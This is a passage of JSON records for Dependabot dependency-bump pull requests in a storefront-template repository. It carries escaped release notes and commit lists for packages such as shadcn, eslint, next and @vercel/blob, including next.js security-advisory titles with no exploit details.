href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Rewrite imports and crawl file imports without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12177\"\u003e#12177\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/e8c3143b1cd191280befcd6c9538284bb43399a8\"\u003e\u003ccode\u003ee8c3143b1cd191280befcd6c9538284bb43399a8\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Edit tailwind.config without ts-morph, and skip it with a warning instead of writing a broken config.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12183\"\u003e#12183\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/f56bbd7282f0116a925a601cb6d7e0c3fede448b\"\u003e\u003ccode\u003ef56bbd7282f0116a925a601cb6d7e0c3fede448b\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Run the rsc, import, CSS variable, cleanup, font and menu transformers without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/daaf156ee00ed91cc7e6bdd937c1b4973152d141\"\u003e\u003ccode\u003edaaf156\u003c/code\u003e\u003c/a\u003e chore(release): version packages (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12365\"\u003e#12365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/4381eeb3fe421af7d25b780f85ff9cbc8d50c51a\"\u003e\u003ccode\u003e4381eeb\u003c/code\u003e\u003c/a\u003e fix(cli): respect style availability in add --all (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12360\"\u003e#12360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/ad0a097d30cf9524ac4a3b5294c9513c5c344672\"\u003e\u003ccode\u003ead0a097\u003c/code\u003e\u003c/a\u003e chore(release): version packages (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12308\"\u003e#12308\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/954ce953412867a57b7e067c076fa7fd395ea115\"\u003e\u003ccode\u003e954ce95\u003c/code\u003e\u003c/a\u003e feat: upgrade to zod 4 (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12298\"\u003e#12298\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/0023018feb6e18c2f4aa0af2062f1c3107d90bfa\"\u003e\u003ccode\u003e0023018\u003c/code\u003e\u003c/a\u003e chore(release): version packages (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12194\"\u003e#12194\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/7aa2110d4ae0910429093c2240948c916d18dd7f\"\u003e\u003ccode\u003e7aa2110\u003c/code\u003e\u003c/a\u003e fix(mcp): await the add command in search and list results (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12297\"\u003e#12297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/440734966e04a1e429bb8df8a29d7095a5e4a60f\"\u003e\u003ccode\u003e4407349\u003c/code\u003e\u003c/a\u003e chore(deps): bump the deps group across 1 directory with 5 updates (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12214\"\u003e#12214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/2af71ac3188a89e42027bca3817daf128cbce7c2\"\u003e\u003ccode\u003e2af71ac\u003c/code\u003e\u003c/a\u003e chore(deps): bump \u003ccode\u003e@​modelcontextprotocol/sdk\u003c/code\u003e from 1.26.0 to 1.31.0 (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12174\"\u003e#12174\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/cfb4cb6fce835cda9342fae1592b21ece48ce23d\"\u003e\u003ccode\u003ecfb4cb6\u003c/code\u003e\u003c/a\u003e chore(deps): bump undici from 7.29.0 to 7.29.1 (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12048\"\u003e#12048\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/dd34945272729ecd198fabb0e32082f6321c210e\"\u003e\u003ccode\u003edd34945\u003c/code\u003e\u003c/a\u003e refactor(registry): move modules out of src/utils (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12192\"\u003e#12192\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/shadcn-ui/ui/commits/shadcn@4.22.1/packages/shadcn\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@testing-library/user-event` from 14.6.7 to 14.6.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/testing-library/user-event/releases\"\u003e@​testing-library/user-event's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev14.6.8\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/testing-library/user-event/compare/v14.6.7...v14.6.8\"\u003e14.6.8\u003c/a\u003e (2026-10-13)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003etreat programmatic null input values as empty string (\u003ca href=\"https://redirect.github.com/testing-library/user-event/issues/1329\"\u003e#1329\u003c/a\u003e) (\u003ca href=\"https://github.com/testing-library/user-event/commit/1951eb77cc190a68eb6dac6bd40b53648b18805f\"\u003e1951eb7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/testing-library/user-event/commit/1951eb77cc190a68eb6dac6bd40b53648b18805f\"\u003e\u003ccode\u003e1951eb7\u003c/code\u003e\u003c/a\u003e fix: treat programmatic null input values as empty string (\u003ca href=\"https://redirect.github.com/testing-library/user-event/issues/1329\"\u003e#1329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/testing-library/user-event/compare/v14.6.7...v14.6.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 24.19.1 to 24.19.2\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.12.0 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68...\n\n_Description has been truncated_","html_url":"https://github.com/Programati/storefront-template/pull/35","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Programati%2Fstorefront-template/issues/35","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/35/packages"},{"uuid":"5992924183","node_id":"PR_kwDOJCbeAs8AAAABKMCN6g","number":200,"state":"closed","title":"Bump the all-dependencies group across 1 directory with 8 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-23T13:42:38.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-23T06:14:13.000Z","updated_at":"2026-10-23T13:42:40.000Z","time_to_close":26905,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"all-dependencies","update_count":8,"packages":[{"name":"@vercel/blob","old_version":"2.8.1","new_version":"2.8.2","repository_url":"https://github.com/vercel/storage"},{"name":"eslint-config-next","old_version":"16.4.0","new_version":"16.4.2","repository_url":"https://github.com/vercel/next.js"},{"name":"next","old_version":"16.4.0","new_version":"16.4.2","repository_url":"https://github.com/vercel/next.js"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"zod","old_version":"4.6.5","new_version":"4.6.7","repository_url":"https://github.com/colinhacks/zod"},{"name":"postcss","old_version":"8.5.29","new_version":"8.5.31","repository_url":"https://github.com/postcss/postcss"},{"name":"vitest","old_version":"4.1.11","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the all-dependencies group with 8 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@vercel/blob](https://github.com/vercel/storage/tree/HEAD/packages/blob) | `2.8.1` | `2.8.2` |\n| [eslint-config-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next) | `16.4.0` | `16.4.2` |\n| [next](https://github.com/vercel/next.js) | `16.4.0` | `16.4.2` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [zod](https://github.com/colinhacks/zod) | `4.6.5` | `4.6.7` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.29` | `8.5.31` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.11` | `4.1.12` |\n\n\nUpdates `@vercel/blob` from 2.8.1 to 2.8.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/storage/releases\"\u003e@​vercel/blob's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​vercel/blob\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.8.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ef11f653: Send blob API version 13, where the server reads keys containing \u003ccode\u003e.\u003c/code\u003e or \u003ccode\u003e..\u003c/code\u003e path segments exactly as they were written instead of resolving them away. Fixes \u003ccode\u003ehead\u003c/code\u003e, \u003ccode\u003ecopy\u003c/code\u003e, \u003ccode\u003erename\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e and \u003ccode\u003elist\u003c/code\u003e on blobs whose pathname has a dot segment.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/storage/blob/main/packages/blob/CHANGELOG.md\"\u003e@​vercel/blob's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.8.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ef11f653: Send blob API version 13, where the server reads keys containing \u003ccode\u003e.\u003c/code\u003e or \u003ccode\u003e..\u003c/code\u003e path segments exactly as they were written instead of resolving them away. Fixes \u003ccode\u003ehead\u003c/code\u003e, \u003ccode\u003ecopy\u003c/code\u003e, \u003ccode\u003erename\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e and \u003ccode\u003elist\u003c/code\u003e on blobs whose pathname has a dot segment.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/storage/commit/5425e1611f65799a02ffa0033086a56e8d280dd5\"\u003e\u003ccode\u003e5425e16\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://github.com/vercel/storage/tree/HEAD/packages/blob/issues/1112\"\u003e#1112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/storage/commit/f11f6535be772cf57ed7a90d57a93761024c3461\"\u003e\u003ccode\u003ef11f653\u003c/code\u003e\u003c/a\u003e [blob] Send blob API version 13 (\u003ca href=\"https://github.com/vercel/storage/tree/HEAD/packages/blob/issues/1109\"\u003e#1109\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/storage/commits/@vercel/blob@2.8.2/packages/blob\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-config-next` from 16.4.0 to 16.4.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003eeslint-config-next's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.4.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[lts-active] turbo-tasks snapshot consistency fixes (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99644\"\u003e#99644\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99732\"\u003e#99732\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99649\"\u003e#99649\u003c/a\u003e) by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100002\"\u003evercel/next.js#100002\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: backport Pages Router dev module graph chaining (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/98823\"\u003e#98823\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99910\"\u003e#99910\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/100091\"\u003e#100091\u003c/a\u003e) by \u003ca href=\"https://github.com/sokra\"\u003e\u003ccode\u003e@​sokra\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100008\"\u003evercel/next.js#100008\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] fix(next-code-frame): snap visible window to char boundaries by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100212\"\u003evercel/next.js#100212\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] [turbopack] Fix two GC paths that leave half-torn-down dependency edges by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100209\"\u003evercel/next.js#100209\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: Ignore realpath errors during module resolution, matching node's behavior by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100217\"\u003evercel/next.js#100217\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport docs fixes since v16.4.0 by \u003ca href=\"https://github.com/icyJoseph\"\u003e\u003ccode\u003e@​icyJoseph\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100246\"\u003evercel/next.js#100246\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Fix Turbopack lazy dynamic-import chunk-list collisions by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100211\"\u003evercel/next.js#100211\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport additional documentation fixes since v16.4.0 by \u003ca href=\"https://github.com/aurorascharff\"\u003e\u003ccode\u003e@​aurorascharff\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100262\"\u003evercel/next.js#100262\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\"\u003ehttps://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.4.1\u003c/h2\u003e\n\u003cp\u003eThis release contains security fixes for the following advisories:\u003c/p\u003e\n\u003cp\u003eCritical:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-673q-mjm6-r5xr\"\u003eUnauthenticated Remote Code Execution in \u003ccode\u003euse cache\u003c/code\u003e functions returning typed arrays\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-2464-fhr4-w9xw\"\u003eUnauthenticated Remote Code Execution in Image Optimization API when SVG files are used\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHigh:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-p3m5-59mp-jv5r\"\u003eDenial of Service in App Router using Server Actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/2864b1772c37242a9b40ab4d366eb7d368c2a070\"\u003e\u003ccode\u003e2864b17\u003c/code\u003e\u003c/a\u003e v16.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/7217011ac0d689026884dd28536a0c7f3c98ba77\"\u003e\u003ccode\u003e7217011\u003c/code\u003e\u003c/a\u003e v16.4.1\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/next.js/commits/v16.4.2/packages/eslint-config-next\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `next` from 16.4.0 to 16.4.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003enext's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.4.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[lts-active] turbo-tasks snapshot consistency fixes (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/99644\"\u003e#99644\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/vercel/next.js/issues/99732\"\u003e#99732\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/vercel/next.js/issues/99649\"\u003e#99649\u003c/a\u003e) by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100002\"\u003evercel/next.js#100002\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: backport Pages Router dev module graph chaining (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/98823\"\u003e#98823\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/vercel/next.js/issues/99910\"\u003e#99910\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/vercel/next.js/issues/100091\"\u003e#100091\u003c/a\u003e) by \u003ca href=\"https://github.com/sokra\"\u003e\u003ccode\u003e@​sokra\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100008\"\u003evercel/next.js#100008\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] fix(next-code-frame): snap visible window to char boundaries by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100212\"\u003evercel/next.js#100212\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] [turbopack] Fix two GC paths that leave half-torn-down dependency edges by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100209\"\u003evercel/next.js#100209\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: Ignore realpath errors during module resolution, matching node's behavior by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100217\"\u003evercel/next.js#100217\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport docs fixes since v16.4.0 by \u003ca href=\"https://github.com/icyJoseph\"\u003e\u003ccode\u003e@​icyJoseph\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100246\"\u003evercel/next.js#100246\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Fix Turbopack lazy dynamic-import chunk-list collisions by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100211\"\u003evercel/next.js#100211\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport additional documentation fixes since v16.4.0 by \u003ca href=\"https://github.com/aurorascharff\"\u003e\u003ccode\u003e@​aurorascharff\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100262\"\u003evercel/next.js#100262\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\"\u003ehttps://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.4.1\u003c/h2\u003e\n\u003cp\u003eThis release contains security fixes for the following advisories:\u003c/p\u003e\n\u003cp\u003eCritical:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-673q-mjm6-r5xr\"\u003eUnauthenticated Remote Code Execution in \u003ccode\u003euse cache\u003c/code\u003e functions returning typed arrays\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-2464-fhr4-w9xw\"\u003eUnauthenticated Remote Code Execution in Image Optimization API when SVG files are used\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHigh:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-p3m5-59mp-jv5r\"\u003eDenial of Service in App Router using Server Actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/2864b1772c37242a9b40ab4d366eb7d368c2a070\"\u003e\u003ccode\u003e2864b17\u003c/code\u003e\u003c/a\u003e v16.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/a42cb59277f55420a2b059ca92d30e46ac460309\"\u003e\u003ccode\u003ea42cb59\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;[lts-active] Keep requests through middleware in a single OpenTelemet...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/f0760ec6f27058940fb1b8eaa80fd7cc0123e8d2\"\u003e\u003ccode\u003ef0760ec\u003c/code\u003e\u003c/a\u003e [lts-active] Backport additional documentation fixes since v16.4.0 (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/100262\"\u003e#100262\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/845007af1da12aeb88ca7b78fd1680800ae19ced\"\u003e\u003ccode\u003e845007a\u003c/code\u003e\u003c/a\u003e [lts-active] Fix Turbopack lazy 